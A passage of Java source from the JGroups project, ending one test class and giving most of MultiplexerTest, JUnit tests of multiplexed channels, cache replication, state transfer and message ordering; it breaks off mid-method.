msg = (Message) obj;
retval = (Long) msg.getObject();
logger.debug("Reader thread #" + rank + ": received " + retval);
num_reads++;
assertNotNull(retval);
}
}
catch (ChannelNotConnectedException conn)
{
logger.error("Reader thread #" + rank + ": problem", conn);
running = false;
}
catch (TimeoutException e)
{
logger.error("Reader thread #" + rank + ": channel time out but should'nt have...", e);
running = false;
}
catch (ChannelClosedException e)
{
logger.error("Reader thread #" + rank + ": channel closed", e);
running = false;
}
catch (Exception e)
{
logger.error("Reader thread #" + rank + ": problem", e);
}
}
reads[rank] = num_reads;
}
void stopThread()
{
running = false;
}
}
public static void main(String[] args)
{
String[] testCaseName = { ChannelMonoTest.class.getName()};
junit.textui.TestRunner.main(testCaseName);
}
}
|
package org.jgroups.tests;
import junit.framework.Test;
import junit.framework.TestSuite;
import org.jgroups.*;
import org.jgroups.mux.MuxChannel;
import org.jgroups.stack.IpAddress;
import org.jgroups.stack.ProtocolStack;
import org.jgroups.stack.Protocol;
import org.jgroups.util.Util;
import java.util.*;
import java.io.*;
/**
* Test the multiplexer functionality provided by JChannelFactory
* @author Bela Ban
* @version $Id: MultiplexerTest.java,v 1.40 2007/06/25 10:17:39 belaban Exp $
*/
public class MultiplexerTest extends ChannelTestBase {
private Cache c1, c2, c1_repl, c2_repl;
private Channel ch1, ch2, ch1_repl, ch2_repl;
JChannelFactory factory, factory2;
public MultiplexerTest(String name) {
super(name);
}
public void setUp() throws Exception {
super.setUp();
factory=new JChannelFactory();
factory.setMultiplexerConfig(MUX_CHANNEL_CONFIG);
factory2=new JChannelFactory();
factory2.setMultiplexerConfig(MUX_CHANNEL_CONFIG);
}
public void tearDown() throws Exception {
if(ch1_repl != null)
ch1_repl.close();
if(ch2_repl != null)
ch2_repl.close();
if(ch1 != null)
ch1.close();
if(ch2 != null)
ch2.close();
if(ch1 != null) {
assertFalse(((MuxChannel)ch1).getChannel().isOpen());
assertFalse(((MuxChannel)ch1).getChannel().isConnected());
}
if(ch2 != null) {
assertFalse(((MuxChannel)ch2).getChannel().isOpen());
assertFalse(((MuxChannel)ch2).getChannel().isConnected());
}
if(ch1_repl != null) {
assertFalse(((MuxChannel)ch1_repl).getChannel().isOpen());
assertFalse(((MuxChannel)ch1_repl).getChannel().isConnected());
}
if(ch2_repl != null) {
assertFalse(((MuxChannel)ch2_repl).getChannel().isOpen());
assertFalse(((MuxChannel)ch2_repl).getChannel().isConnected());
}
if(c1 != null) c1.clear();
if(c2 != null) c2.clear();
if(c1_repl != null) c1_repl.clear();
if(c2_repl != null) c2_repl.clear();
ch1_repl=ch2_repl=ch1=ch2=null;
c1=c2=c1_repl=c2_repl=null;
super.tearDown();
}
public void testReplicationWithOneChannel() throws Exception {
ch1=factory.createMultiplexerChannel(MUX_CHANNEL_CONFIG_STACK_NAME, "c1");
ch1.connect("bla");
c1=new Cache(ch1, "cache-1");
assertEquals("cache has to be empty initially", 0, c1.size());
c1.put("name", "Bela");
Util.sleep(300); // we need to wait because replication is asynchronous here
assertEquals(1, c1.size());
assertEquals("Bela", c1.get("name"));
}
public void testLifecycle() throws Exception {
ch1=factory.createMultiplexerChannel(MUX_CHANNEL_CONFIG_STACK_NAME, "c1");
assertTrue(ch1.isOpen());
assertFalse(ch1.isConnected());
ch1.connect("bla");
assertTrue(ch1.isOpen());
assertTrue(ch1.isConnected());
ch2=factory.createMultiplexerChannel(MUX_CHANNEL_CONFIG_STACK_NAME, "c2");
assertTrue(ch2.isOpen());
assertFalse(ch2.isConnected());
ch2.connect("bla");
assertTrue(ch2.isOpen());
assertTrue(ch2.isConnected());
ch2.disconnect();
assertTrue(ch2.isOpen());
assertFalse(ch2.isConnected());
ch2.connect("bla");
assertTrue(ch2.isOpen());
assertTrue(ch2.isConnected());
ch2.disconnect();
assertTrue(ch2.isOpen());
assertFalse(ch2.isConnected());
ch2.close();
assertFalse(ch2.isOpen());
assertFalse(ch2.isConnected());
ch2=factory.createMultiplexerChannel(MUX_CHANNEL_CONFIG_STACK_NAME, "c2");
ch2.connect("bla");
assertTrue(ch2.isOpen());
assertTrue(ch2.isConnected());
ch2.close();
assertFalse(ch2.isOpen());
assertFalse(ch2.isConnected());
}
public void testDisconnect() throws Exception {
ch1=factory.createMultiplexerChannel(MUX_CHANNEL_CONFIG_STACK_NAME, "c1");
assertTrue(ch1.isOpen());
assertFalse(ch1.isConnected());
assertTrue(((MuxChannel)ch1).getChannel().isOpen());
assertFalse(((MuxChannel)ch1).getChannel().isConnected());
ch1.connect("bla");
assertTrue(ch1.isOpen());
assertTrue(ch1.isConnected());
assertTrue(((MuxChannel)ch1).getChannel().isOpen());
assertTrue(((MuxChannel)ch1).getChannel().isConnected());
ch2=factory.createMultiplexerChannel(MUX_CHANNEL_CONFIG_STACK_NAME, "c2");
assertTrue(ch2.isOpen());
assertFalse(ch2.isConnected());
ch1.disconnect();
assertTrue(ch1.isOpen());
assertFalse(ch1.isConnected());
ch1.connect("bla");
assertTrue(ch1.isOpen());
assertTrue(ch1.isConnected());
ch1.close();
assertFalse(ch1.isOpen());
assertFalse(ch1.isConnected());
assertTrue(((MuxChannel)ch1).getChannel().isOpen());
assertTrue(((MuxChannel)ch1).getChannel().isConnected());
ch2.close();
assertFalse(ch2.isOpen());
assertFalse(ch2.isConnected());
}
public void testDisconnect2() throws Exception {
ch1=factory.createMultiplexerChannel(MUX_CHANNEL_CONFIG_STACK_NAME, "c1");
assertTrue(ch1.isOpen());
assertFalse(ch1.isConnected());
ch1.connect("bla");
assertTrue(ch1.isOpen());
assertTrue(ch1.isConnected());
ch2=factory.createMultiplexerChannel(MUX_CHANNEL_CONFIG_STACK_NAME, "c2");
assertTrue(ch2.isOpen());
assertFalse(ch2.isConnected());
ch1.disconnect();
assertTrue(ch1.isOpen());
assertFalse(ch1.isConnected());
assertTrue(ch2.isOpen());
assertFalse(ch2.isConnected());
ch1.connect("bla");
assertTrue(ch1.isOpen());
assertTrue(ch1.isConnected());
assertTrue(ch2.isOpen());
assertFalse(ch2.isConnected());
}
public void testClose() throws Exception {
ch1=factory.createMultiplexerChannel(MUX_CHANNEL_CONFIG_STACK_NAME, "c1");
ch1.connect("bla");
ch2=factory.createMultiplexerChannel(MUX_CHANNEL_CONFIG_STACK_NAME, "c2");
ch2.connect("bla");
ch1.close();
ch2.close();
}
public void testReplicationWithTwoChannels() throws Exception {
ch1=factory.createMultiplexerChannel(MUX_CHANNEL_CONFIG_STACK_NAME, "c1");
c1=new Cache(ch1, "cache-1");
assertEquals("cache has to be empty initially", 0, c1.size());
ch1.connect("bla");
ch1_repl=factory2.createMultiplexerChannel(MUX_CHANNEL_CONFIG_STACK_NAME, "c1");
c1_repl=new Cache(ch1_repl, "cache-1-repl");
assertEquals("cache has to be empty initially", 0, c1_repl.size());
ch1_repl.connect("bla");
Util.sleep(200);
View v=ch1_repl.getView();
assertNotNull(v);
assertEquals("view is " + v, 2, v.size());
v=ch1.getView();
assertNotNull(v);
assertEquals(2, v.size());
c1.put("name", "Bela");
if(ch1.flushSupported()) {
boolean success=ch1.startFlush(5000, true);
System.out.println("startFlush(): " + success);
assertTrue(success);
}
else
Util.sleep(10000);
System.out.println("c1: " + c1 + ", c1_repl: " + c1_repl);
assertEquals(1, c1.size());
assertEquals("Bela", c1.get("name"));
Util.sleep(500); // async repl - wait until replicated to other member
assertEquals(1, c1_repl.size());
assertEquals("Bela", c1_repl.get("name"));
c1.put("id", new Long(322649));
c1_repl.put("hobbies", "biking");
c1_repl.put("bike", "Centurion");
if(ch1.flushSupported()) {
boolean success=ch1.startFlush(5000, true);
System.out.println("startFlush(): " + success);
assertTrue(success);
}
else
Util.sleep(10000);
System.out.println("c1: " + c1 + ", c1_repl: " + c1_repl);
assertEquals("c1: " + c1, 4, c1.size());
assertEquals("c1_repl: " + c1_repl, 4, c1_repl.size());
assertEquals(new Long(322649), c1.get("id"));
assertEquals(new Long(322649), c1_repl.get("id"));
assertEquals("biking", c1.get("hobbies"));
assertEquals("biking", c1_repl.get("hobbies"));
assertEquals("Centurion", c1.get("bike"));
assertEquals("Centurion", c1_repl.get("bike"));
}
public void testVirtualSynchrony() throws Exception {
ch1=factory.createMultiplexerChannel(MUX_CHANNEL_CONFIG_STACK_NAME, "c1");
c1=new Cache(ch1, "cache-1");
ch1.connect("bla");
ch1_repl=factory2.createMultiplexerChannel(MUX_CHANNEL_CONFIG_STACK_NAME, "c1");
c1_repl=new Cache(ch1_repl, "cache-1-repl");
ch1_repl.connect("bla");
assertEquals("view: " + ch1.getView(), 2, ch1.getView().size());
// start adding messages
flush(ch1, 5000); // flush all pending message out of the system so everyone receives them
for(int i=1; i <= 20; i++) {
if(i % 2 == 0) {
c1.put(i, Boolean.TRUE); // even numbers
}
else {
c1_repl.put(i, Boolean.TRUE); // odd numbers
}
}
flush(ch1, 5000);
System.out.println("c1 (" + c1.size() + " elements):\n" + c1.printKeys() +
"\nc1_repl (" + c1_repl.size() + " elements):\n" + c1_repl.printKeys());
assertEquals(c1.size(), c1_repl.size());
assertEquals(20, c1.size());
}
private static void flush(Channel channel, long timeout) {
if(channel.flushSupported()) {
boolean success=channel.startFlush(timeout, true);
System.out.println("startFlush(): " + success);
assertTrue(success);
}
else
Util.sleep(timeout);
}
public void testReplicationWithReconnect() throws Exception {
ch1=factory.createMultiplexerChannel(MUX_CHANNEL_CONFIG_STACK_NAME, "c1");
ch1.connect("bla");
c1=new Cache(ch1, "cache-1");
assertEquals("cache has to be empty initially", 0, c1.size());
c1.put("name", "Bela");
Util.sleep(300); // we need to wait because replication is asynchronous here
assertEquals(1, c1.size());
assertEquals("Bela", c1.get("name"));
ch1.disconnect();
ch1.connect("bla");
c2=new Cache(ch1, "cache-1");
assertEquals("cache has to be empty initially", 0, c2.size());
c2.put("name", "Bela");
Util.sleep(300); // we need to wait because replication is asynchronous here
assertEquals(1, c2.size());
assertEquals("Bela", c2.get("name"));
}
public void testStateTransfer() throws Exception {
ch1=factory.createMultiplexerChannel(MUX_CHANNEL_CONFIG_STACK_NAME, "c1");
ch1.connect("bla");
c1=new Cache(ch1, "cache-1");
assertEquals("cache has to be empty initially", 0, c1.size());
ch1_repl=factory2.createMultiplexerChannel(MUX_CHANNEL_CONFIG_STACK_NAME, "c1");
c1.put("name", "Bela");
c1.put("id", new Long(322649));
c1.put("hobbies", "biking");
c1.put("bike", "Centurion");
ch1_repl.connect("bla");
c1_repl=new Cache(ch1_repl, "cache-1-repl");
boolean rc=ch1_repl.getState(null, 5000);
System.out.println("state transfer: " + rc);
Util.sleep(500);
System.out.println("c1_repl: " + c1_repl);
assertEquals("initial state should have been transferred", 4, c1_repl.size());
assertEquals(new Long(322649), c1.get("id"));
assertEquals(new Long(322649), c1_repl.get("id"));
assertEquals("biking", c1.get("hobbies"));
assertEquals("biking", c1_repl.get("hobbies"));
assertEquals("Centurion", c1.get("bike"));
assertEquals("Centurion", c1_repl.get("bike"));
}
public void testStateTransferWithTwoApplications() throws Exception {
ch1=factory.createMultiplexerChannel(MUX_CHANNEL_CONFIG_STACK_NAME, "c1");
ch1.connect("bla");
c1=new Cache(ch1, "cache-1");
assertEquals("cache has to be empty initially", 0, c1.size());
ch2=factory.createMultiplexerChannel(MUX_CHANNEL_CONFIG_STACK_NAME, "c2");
ch2.connect("bla");
c2=new Cache(ch2, "cache-2");
assertEquals("cache has to be empty initially", 0, c2.size());
ch1_repl=factory2.createMultiplexerChannel(MUX_CHANNEL_CONFIG_STACK_NAME, "c1");
ch2_repl=factory2.createMultiplexerChannel(MUX_CHANNEL_CONFIG_STACK_NAME, "c2");
c1.put("name", "cache-1");
c2.put("name", "cache-2");
ch1_repl.connect("bla");
c1_repl=new Cache(ch1_repl, "cache-1-repl");
boolean rc=ch1_repl.getState(null, 5000);
System.out.println("state transfer: " + rc);
ch2_repl.connect("bla");
c2_repl=new Cache(ch2_repl, "cache-2-repl");
rc=ch2_repl.getState(null, 5000);
System.out.println("state transfer: " + rc);
Util.sleep(500);
System.out.println("Caches after state transfers:");
System.out.println("c1: " + c1);
System.out.println("c1_repl: " + c1_repl);
System.out.println("c2: " + c2);
System.out.println("c2_repl: " + c2_repl);
assertEquals(1, c1.size());
assertEquals(1, c1_repl.size());
assertEquals(1, c2.size());
assertEquals(1, c2_repl.size());
assertEquals("cache-1", c1.get("name"));
assertEquals("cache-1", c1_repl.get("name"));
assertEquals("cache-2", c2.get("name"));
assertEquals("cache-2", c2_repl.get("name"));
}
public void testStateTransferWithRegistration() throws Exception {
ch1=factory.createMultiplexerChannel(MUX_CHANNEL_CONFIG_STACK_NAME, "c1");
ch1.connect("bla");
c1=new Cache(ch1, "cache-1");
assertEquals("cache has to be empty initially", 0, c1.size());
ch2=factory.createMultiplexerChannel(MUX_CHANNEL_CONFIG_STACK_NAME, "c2");
ch2.connect("bla");
c2=new Cache(ch2, "cache-2");
assertEquals("cache has to be empty initially", 0, c2.size());
c1.put("name", "cache-1");
c2.put("name", "cache-2");
ch1_repl=factory2.createMultiplexerChannel(MUX_CHANNEL_CONFIG_STACK_NAME, "c1", true, null); // register for state transfer
ch2_repl=factory2.createMultiplexerChannel(MUX_CHANNEL_CONFIG_STACK_NAME, "c2", true, null); // register for state transfer
ch1_repl.connect("bla");
c1_repl=new Cache(ch1_repl, "cache-1-repl");
boolean rc=ch1_repl.getState(null, 5000); // this will *not* trigger the state transfer protocol
System.out.println("state transfer: " + rc);
ch2_repl.connect("bla");
c2_repl=new Cache(ch2_repl, "cache-2-repl");
rc=ch2_repl.getState(null, 5000); // only *this* will trigger the state transfer
System.out.println("state transfer: " + rc);
Util.sleep(500);
System.out.println("Caches after state transfers:");
System.out.println("c1: " + c1);
System.out.println("c1_repl: " + c1_repl);
System.out.println("c2: " + c2);
System.out.println("c2_repl: " + c2_repl);
assertEquals(1, c1.size());
assertEquals(1, c1_repl.size());
assertEquals(1, c2.size());
assertEquals(1, c2_repl.size());
assertEquals("cache-1", c1.get("name"));
assertEquals("cache-1", c1_repl.get("name"));
assertEquals("cache-2", c2.get("name"));
assertEquals("cache-2", c2_repl.get("name"));
c1.clear();
c1_repl.clear();
c2.clear();
c2_repl.clear();
}
private void setCorrectPortRange(Channel ch) {
ProtocolStack stack=((MuxChannel)ch).getProtocolStack();
Protocol tcpping=stack.findProtocol("TCPPING");
if(tcpping == null)
return;
Properties props=tcpping.getProperties();
String port_range=props.getProperty("port_range");
if(port_range != null) {
System.out.println("port_range in TCPPING: " + port_range + ", setting it to 2");
port_range="2";
Properties p=new Properties();
// p.putAll(props);
p.setProperty("port_range", port_range);
tcpping.setProperties(p);
}
}
public void testStateTransferWithReconnect() throws Exception {
ch1=factory.createMultiplexerChannel(MUX_CHANNEL_CONFIG_STACK_NAME, "c1");
setCorrectPortRange(ch1);
assertTrue(ch1.isOpen());
assertFalse(ch1.isConnected());
ch1.connect("bla");
assertTrue(ch1.isOpen());
assertTrue(ch1.isConnected());
assertServiceAndClusterView(ch1, 1, 1);
c1=new Cache(ch1, "cache-1");
assertEquals("cache has to be empty initially", 0, c1.size());
ch1_repl=factory2.createMultiplexerChannel(MUX_CHANNEL_CONFIG_STACK_NAME, "c1");
setCorrectPortRange(ch1_repl);
assertTrue(ch1_repl.isOpen());
assertFalse(ch1_repl.isConnected());
c1.put("name", "Bela");
c1.put("id", new Long(322649));
c1.put("hobbies", "biking");
c1.put("bike", "Centurion");
ch1_repl.connect("bla");
assertTrue(ch1_repl.isOpen());
assertTrue(ch1_repl.isConnected());
assertServiceAndClusterView(ch1_repl, 2, 2);
Util.sleep(500);
assertServiceAndClusterView(ch1, 2, 2);
c1_repl=new Cache(ch1_repl, "cache-1-repl");
boolean rc=ch1_repl.getState(null, 5000);
System.out.println("state transfer: " + rc);
Util.sleep(500);
System.out.println("c1_repl: " + c1_repl);
assertEquals("initial state should have been transferred", 4, c1_repl.size());
assertEquals(new Long(322649), c1.get("id"));
assertEquals(new Long(322649), c1_repl.get("id"));
assertEquals("biking", c1.get("hobbies"));
assertEquals("biking", c1_repl.get("hobbies"));
assertEquals("Centurion", c1.get("bike"));
assertEquals("Centurion", c1_repl.get("bike"));
ch1_repl.disconnect();
assertTrue(ch1_repl.isOpen());
assertFalse(ch1_repl.isConnected());
Util.sleep(1000);
assertServiceAndClusterView(ch1, 1, 1);
c1_repl.clear();
ch1_repl.connect("bla");
assertTrue(ch1_repl.isOpen());
assertTrue(ch1_repl.isConnected());
assertServiceAndClusterView(ch1_repl, 2, 2);
Util.sleep(300);
assertServiceAndClusterView(ch1, 2, 2);
assertEquals("cache has to be empty initially", 0, c1_repl.size());
rc=ch1_repl.getState(null, 5000);
System.out.println("state transfer: " + rc);
Util.sleep(500);
System.out.println("c1_repl: " + c1_repl);
assertEquals("initial state should have been transferred", 4, c1_repl.size());
assertEquals(new Long(322649), c1.get("id"));
assertEquals(new Long(322649), c1_repl.get("id"));
assertEquals("biking", c1.get("hobbies"));
assertEquals("biking", c1_repl.get("hobbies"));
assertEquals("Centurion", c1.get("bike"));
assertEquals("Centurion", c1_repl.get("bike"));
// Now see what happens if we reconnect the first channel
// But first, add another MuxChannel on that JChannel
// just so it remains coordinator (test that it doesn't
// ask for state from itself)
ch2=factory.createMultiplexerChannel(MUX_CHANNEL_CONFIG_STACK_NAME, "c2");
setCorrectPortRange(ch2);
assertTrue(ch2.isOpen());
assertFalse(ch2.isConnected());
assertServiceAndClusterView(ch1, 2, 2);
assertServiceAndClusterView(ch1_repl, 2, 2);
ch1.disconnect();
//sleep a bit and thus let asynch VIEW to propagate to other channel
Util.sleep(500);
assertTrue(ch1.isOpen());
assertFalse(ch1.isConnected());
assertServiceAndClusterView(ch1_repl, 1, 1);
assertTrue(ch2.isOpen());
assertFalse(ch2.isConnected());
c1.clear();
ch1.connect("bla");
assertTrue(ch1.isOpen());
assertTrue(ch1.isConnected());
assertServiceAndClusterView(ch1, 2, 2);
Util.sleep(500);
assertServiceAndClusterView(ch1_repl, 2, 2);
assertTrue(ch2.isOpen());
assertFalse(ch2.isConnected());
assertEquals("cache has to be empty initially", 0, c1.size());
rc=ch1.getState(null, 5000);
System.out.println("state transfer: " + rc);
Util.sleep(500);
System.out.println("c1: " + c1);
assertEquals("initial state should have been transferred", 4, c1.size());
assertEquals(new Long(322649), c1.get("id"));
assertEquals(new Long(322649), c1_repl.get("id"));
assertEquals("biking", c1.get("hobbies"));
assertEquals("biking", c1_repl.get("hobbies"));
assertEquals("Centurion", c1.get("bike"));
assertEquals("Centurion", c1_repl.get("bike"));
}
private void assertServiceAndClusterView(Channel ch, int num_service_view_mbrs, int num_cluster_view_mbrs) {
View service_view, cluster_view;
service_view=ch.getView();
cluster_view=((MuxChannel)ch).getClusterView();
String msg="cluster view=" + cluster_view + ", service view=" + service_view;
assertNotNull(service_view);
assertNotNull(cluster_view);
assertEquals(msg, num_service_view_mbrs, service_view.size());
assertEquals(msg, num_cluster_view_mbrs, cluster_view.size());
}
public void testStateTransferFromSelfWithRegularChannel() throws Exception {
JChannel ch=new JChannel();
ch.connect("X");
try {
boolean rc=ch.getState(null, 2000);
assertFalse("getState() on singleton should return false", rc);
}
finally {
ch.close();
}
}
public void testStateTransferFromSelf() throws Exception {
ch1=factory.createMultiplexerChannel(MUX_CHANNEL_CONFIG_STACK_NAME, "c1");
ch1.connect("bla");
boolean rc=ch1.getState(null, 2000);
assertFalse("getState() on singleton should return false", rc);
ch2=factory.createMultiplexerChannel(MUX_CHANNEL_CONFIG_STACK_NAME, "c2");
ch2.connect("foo");
rc=ch2.getState(null, 2000);
assertFalse("getState() on singleton should return false", rc);
}
public void testAdditionalData() throws Exception {
byte[] additional_data=new byte[]{'b', 'e', 'l', 'a'};
ch1=factory.createMultiplexerChannel(MUX_CHANNEL_CONFIG_STACK_NAME, "c1");
Map m=new HashMap(1);
m.put("additional_data", additional_data);
ch1.down(new Event(Event.CONFIG, m));
ch1.connect("bla");
IpAddress local_addr=(IpAddress)ch1.getLocalAddress();
assertNotNull(local_addr);
byte[] tmp=local_addr.getAdditionalData();
assertNotNull(tmp);
assertEquals(tmp, additional_data);
ch2=factory.createMultiplexerChannel(MUX_CHANNEL_CONFIG_STACK_NAME, "c2");
ch2.connect("foo");
local_addr=(IpAddress)ch2.getLocalAddress();
assertNotNull(local_addr);
tmp=local_addr.getAdditionalData();
assertNotNull(tmp);
assertEquals(tmp, additional_data);
}
public void testAdditionalData2() throws Exception {
byte[] additional_data=new byte[]{'b', 'e', 'l', 'a'};
byte[] additional_data2=new byte[]{'m', 'i', 'c', 'h', 'i'};
ch1=factory.createMultiplexerChannel(MUX_CHANNEL_CONFIG_STACK_NAME, "c1");
ch1.connect("bla");
IpAddress local_addr=(IpAddress)ch1.getLocalAddress();
assertNotNull(local_addr);
byte[] tmp=local_addr.getAdditionalData();
assertNull(tmp);
ch2=factory.createMultiplexerChannel(MUX_CHANNEL_CONFIG_STACK_NAME, "c2");
Map m=new HashMap(1);
m.put("additional_data", additional_data);
ch2.down(new Event(Event.CONFIG, m));
ch2.connect("foo");
local_addr=(IpAddress)ch2.getLocalAddress();
assertNotNull(local_addr);
tmp=local_addr.getAdditionalData();
assertNotNull(tmp);
assertEquals(tmp, additional_data);
local_addr=(IpAddress)ch1.getLocalAddress();
assertNotNull(local_addr);
tmp=local_addr.getAdditionalData();
assertNotNull(tmp);
assertEquals(tmp, additional_data);
m.clear();
m.put("additional_data", additional_data2);
ch2.down(new Event(Event.CONFIG, m));
local_addr=(IpAddress)ch2.getLocalAddress();
assertNotNull(local_addr);
tmp=local_addr.getAdditionalData();
assertNotNull(tmp);
assertEquals(tmp, additional_data2);
assertFalse(Arrays.equals(tmp, additional_data));
}
public void testGetSubstates() throws Exception {
ch1=factory.createMultiplexerChannel(MUX_CHANNEL_CONFIG_STACK_NAME, "c1");
ch1.connect("bla");
c1=new ExtendedCache(ch1, "cache-1");
assertEquals("cache has to be empty initially", 0, c1.size());
ch2=factory.createMultiplexerChannel(MUX_CHANNEL_CONFIG_STACK_NAME, "c2");
ch2.connect("bla");
c2=new ExtendedCache(ch2, "cache-2");
assertEquals("cache has to be empty initially", 0, c2.size());
for(int i=0; i < 10; i++) {
c1.put(new Integer(i), new Integer(i));
c2.put(new Integer(i), new Integer(i));
}
ch1_repl=factory2.createMultiplexerChannel(MUX_CHANNEL_CONFIG_STACK_NAME, "c1");
ch2_repl=factory2.createMultiplexerChannel(MUX_CHANNEL_CONFIG_STACK_NAME, "c2");
ch1_repl.connect("bla");
c1_repl=new ExtendedCache(ch1_repl, "cache-1-repl");
boolean rc=ch1_repl.getState(null, "odd", 5000);
System.out.println("state transfer: " + rc);
ch2_repl.connect("bla");
c2_repl=new ExtendedCache(ch2_repl, "cache-2-repl");
rc=ch2_repl.getState(null, "even", 5000);
System.out.println("state transfer: " + rc);
Util.sleep(500);
System.out.println("Caches after state transfers:");
System.out.println("c1: " + c1);
System.out.println("c2: " + c2);
System.out.println("c1_repl (removed odd substate): " + c1_repl);
System.out.println("c2_repl (removed even substate): " + c2_repl);
assertEquals(5, c1_repl.size());
assertEquals(5, c2_repl.size());
_testEvenNumbersPresent(c1_repl);
_testOddNumbersPresent(c2_repl);
}
private void _testEvenNumbersPresent(Cache c) {
Integer[] evens=new Integer[]{new Integer(0), new Integer(2), new Integer(4), new Integer(6), new Integer(8)};
_testNumbersPresent(c, evens);
}
private void _testOddNumbersPresent(Cache c) {
Integer[] odds=new Integer[]{new Integer(1), new Integer(3), new Integer(5), new Integer(7), new Integer(9)};
_testNumbersPresent(c, odds);
}
private void _testNumbersPresent(Cache c, Integer[] numbers) {
int len=numbers.length;
assertEquals(len, c.size());
for(int i=0; i < numbers.length; i++) {
Integer number=numbers[i];
assertEquals(number, c.get(number));
}
}
public void testGetSubstatesMultipleTimes() throws Exception {
ch1=factory.createMultiplexerChannel(MUX_CHANNEL_CONFIG_STACK_NAME, "c1");
ch1.connect("bla");
c1=new ExtendedCache(ch1, "cache-1");
assertEquals("cache has to be empty initially", 0, c1.size());
ch2=factory.createMultiplexerChannel(MUX_CHANNEL_CONFIG_STACK_NAME, "c2");
ch2.connect("bla");
c2=new ExtendedCache(ch2, "cache-2");
assertEquals("cache has to be empty initially", 0, c2.size());
for(int i=0; i < 10; i++) {
c1.put(new Integer(i), new Integer(i));
c2.put(new Integer(i), new Integer(i));
}
ch1_repl=factory2.createMultiplexerChannel(MUX_CHANNEL_CONFIG_STACK_NAME, "c1");
ch2_repl=factory2.createMultiplexerChannel(MUX_CHANNEL_CONFIG_STACK_NAME, "c2");
ch1_repl.connect("bla");
c1_repl=new ExtendedCache(ch1_repl, "cache-1-repl");
boolean rc=ch1_repl.getState(null, "odd", 5000);
System.out.println("state transfer: " + rc);
ch2_repl.connect("bla");
c2_repl=new ExtendedCache(ch2_repl, "cache-2-repl");
rc=ch2_repl.getState(null, "even", 5000);
System.out.println("state transfer: " + rc);
Util.sleep(500);
_testOddNumbersPresent(c2_repl);
System.out.println("Caches after state transfers:");
System.out.println("c1: " + c1);
System.out.println("c2: " + c2);
System.out.println("c1_repl (removed odd substate): " + c1_repl);
System.out.println("c2_repl (removed even substate): " + c2_repl);
assertEquals(5, c2_repl.size());
rc=ch2_repl.getState(null, "odd", 5000);
Util.sleep(500);
System.out.println("c2_repl (removed odd substate): " + c2_repl);
_testEvenNumbersPresent(c2_repl);
assertEquals(5, c2_repl.size());
rc=ch2_repl.getState(null, "even", 5000);
Util.sleep(500);
System.out.println("c2_repl (removed even substate): " + c2_repl);
_testOddNumbersPresent(c2_repl);
assertEquals(5, c2_repl.size());
rc=ch2_repl.getState(null, "odd", 5000);
Util.sleep(500);
System.out.println("c2_repl (removed odd substate): " + c2_repl);
_testEvenNumbersPresent(c2_repl);
}
public void testOrdering() throws Exception {
final int NUM=100;
ch1=factory.createMultiplexerChannel(MUX_CHANNEL_CONFIG_STACK_NAME, "c1");
ch1.connect("bla");
MyReceiver receiver=new MyReceiver(NUM);
ch1.setReceiver(receiver);
for(int i=1; i <= NUM; i++) {
ch1.send(new Message(null, null, new Integer(i)));
System.out.println("-- sent " + i);
}
receiver.waitForCompletion();
List<Integer> nums=receiver.getNums();
checkMonotonicallyIncreasingNumbers(nums);
}
private static void checkMonotonicallyIncreasingNumbers(List<Integer> nums) {
int current=-1;
for(int num: nums) {
if(current < 0) {
current=num;
}
else {
assertEquals(++current, num);
}
}
}
private static class MyReceiver extends ReceiverAdapter {
final List<Integer> nums=new LinkedList<Integer>();
final int expected;
public MyReceiver(int expected) {
this.expected=expected;
}
public List<Integer> getNums() {
return nums;
}
public void waitForCompletion() throws InterruptedException {
synchronized(nums) {
while(nums.size() < expected) {
nums.wait();
}
}
}
public void receive(Message msg) {
Integer num=(Integer)msg.getObject();
System.out.println("-- received " + num);
Util.sleepRandom(1000);
synchronized(nums) {
nums.add(num);
if(nums.size() >= expected) {
nums.notifyAll();
}
}
}
}
public static Test suite() {
return new TestSuite(MultiplexerTest.class);
}
public static void main(String[] args) {
junit.textui.TestRunner.run(MultiplexerTest.suite());
}
private static class Cache extends ExtendedReceiverAdapter {
protected final Map data ;
Channel ch;
String name;
public Cache(Channel ch, String name) {
this.data=new TreeMap();
this.ch=ch;
this.name=name;
this.ch.setReceiver(this);
}
protected Object get(Object key) {
synchronized(data) {
return data.get(key);
}
}
protected void put(Object key, Object val) throws Exception {
Object[] buf=new Object[2];
buf[0]=key; buf[1]=val;
synchronized(data) {
data.put(key, val);
}
Message msg=new Message(null, null, buf);
ch.send(msg);
}
protected int size() {
synchronized(data) {
return data.size();
}
}
public void receive(Message msg) {
if(ch.getLocalAddress().equals(msg.getSrc()))
return;
Object[] modification=(Object[])msg.getObject();
Object key=modification[0];
Object val=modification[1];
synchronized(data) {
data.put(key,val);
}
}
public byte[] getState() {
byte[] state=null;
synchronized(data) {
try {
state=Util.objectToByteBuffer(data);
}
catch(Exception e) {
e.printStackTrace();
return null;
}
}
return state;
}
public byte[] getState(String state_id) {
return getState();
}
public void setState(byte[] state) {
Map m;
try {
m=(Map)Util.objectFromByteBuffer(state);
synchronized(data) {
data.clear();
data.putAll(m);
}
}
catch(Exception e) {
e.printStackTrace();
}
}
public void setState(String state_id, byte[] state) {
setState(state);
}
public void getState(OutputStream ostream){
ObjectOutputStream oos = null;
try{
oos = new ObjectOutputStream(ostream);
synchronized(data){
oos.writeObject(data);
}
oos.flush();
}
catch (IOException e){}
finally{
try{
if(oos != null)
oos.close();
}
catch (IOException e){
System.err.println(e);
}
}
}
public void getState(String state_id, OutputStream ostream) {
getState(ostream);
}
public void setState(InputStream istream) {
ObjectInputStream ois = null;
try {
ois = new ObjectInputStream(istream);
Map m = (Map)ois.readObject();
synchronized (data)
{
data.clear();
data.putAll(m);
}
} catch (Exception e) {}
finally{
try {
if(ois != null)
ois.close();
} catch (IOException e) {
System.err.println(e);
}
}
}
public void setState(String state_id, InputStream istream) {
setState(istream);
}
public void clear() {
synchronized (data){
data.clear();
}
}
public void viewAccepted(View new_view) {
log("view is " + new_view);
}
public String toString() {
synchronized(data){
return data.toString();
}
}
public String printKeys() {
return data.keySet().toString();
}
private void log(String msg) {
System.out.println("-- [" + name + "] " + msg);
}
}
static class ExtendedCache extends Cache {
public ExtendedCache(Channel ch, String name) {
super(ch, name);
}
public byte[] getState(String state_id) {
Map copy=null;
synchronized (data){
copy=new HashMap(data);
}
for(Iterator it=copy.keySet().iterator(); it.hasNext();) {
Integer key=(Integer)it.next();
if(state_id.equals("odd") && key.intValue() % 2 != 0)
it.remove();
else if(state_id.equals("even") && key.intValue() % 2 == 0)
it.remove();
}
try {
return Util.objectToByteBuffer(copy);
}
catch(Exception e) {
e.printStackTrace();
return null;
}
}
public void getState(String state_id,OutputStream os) {
Map copy=null;
synchronized (data){
copy=new HashMap(data);
